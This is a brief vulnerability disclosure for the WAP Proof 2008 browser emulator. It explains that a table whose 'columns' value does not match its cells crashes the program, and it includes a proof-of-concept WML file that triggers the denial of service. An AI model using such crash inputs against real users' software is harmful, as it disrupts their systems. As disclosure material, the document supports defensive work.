WAP Proof 2008 Denial of Service

[] Description :

WAP Proof is an universal emulator of a WAP browser for Microsoft Windows. It is designed for the preview and debugging of mobile websites and provide support for WML, XHTML, cHTML and HTML pages and a compatible GSM modems, such as Wavecom, Alcatel, Motorola, Nokia, Siemens, Sagem, Sony Ericsson .. etc.
Vendor Homepage: http://www.wap-proof.com/

[] Technical details:

The <td> and <tr> tags defines a table row or a standard cell in a HTML table alongwith the column="" attribute in the <table> element
and any incorrect integer value for column attribute that not fitt for the enumeration of tags may usually cause to crash the browser.

[] POC to /bug.wml:

<?xml version="1.0" encoding="utf-8"?>

<wml><card id="orion" title="einfold">
<p><table title="Tab" columns="1" align="LCR" class="AAA" id="AAA">
<tr><td>one</td><td>two</td><td>three</td></tr>
</table></p></card></wml>

<!-- Orion Einfold -->